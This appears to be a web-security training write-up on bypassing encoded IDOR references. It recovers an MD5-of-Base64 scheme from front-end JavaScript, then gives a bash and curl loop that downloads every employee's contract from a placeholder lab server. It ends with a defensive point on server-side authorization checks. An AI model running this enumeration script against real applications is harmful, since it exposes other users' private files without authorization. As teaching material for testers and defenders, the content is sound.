IDOR — Bypassing Encoded References

Overview

Some web applications hash or encode object references (e.g., MD5, Base64) instead of exposing sequential integers. This makes enumeration harder but does not eliminate the IDOR if there is no back-end access control — an attacker who can reproduce the encoding scheme can still enumerate all objects.

Recognizing the pattern

A POST parameter like:

contract=cdd96d3cc73d1dbdaffa03cc6cd7339b

looks like a 32-character MD5 hash. Naively testing md5(uid) may not match if a transformation is applied first.

Function disclosure — finding the algorithm in front-end source

Modern JavaScript frameworks (Angular, React, Vue.js) often perform hashing client-side. Inspect the page source for the JavaScript that constructs the parameter:

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}

This reveals the algorithm: Base64-encode the UID, then MD5-hash the result.

Verifying the algorithm

Reproduce the hash on the command line, matching the front-end exactly:

# -n suppresses the trailing newline; -w 0 prevents base64 line-wrapping
echo -n 1 | base64 -w 0 | md5sum
# cdd96d3cc73d1dbdaffa03cc6cd7339b

If the output matches the observed parameter value, the algorithm is confirmed and all object references can now be calculated.

Mass enumeration via script

Generate hashes and download files for a range of UIDs:

#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

• tr -d ' -' strips the trailing space and dash added by md5sum
• -sOJ saves the file using the server-supplied filename (Content-Disposition)

Running the script downloads contracts for all enumerated employees:

contract_cdd96d3cc73d1dbdaffa03cc6cd7339b.pdf
contract_0b7e7dee87b1c3b98e72131173dfbbbf.pdf
...

Key takeaways

A truly Secure Direct Object Reference requires both an unpredictable reference and a server-side check that the requesting user is authorized to access it. Either alone is insufficient.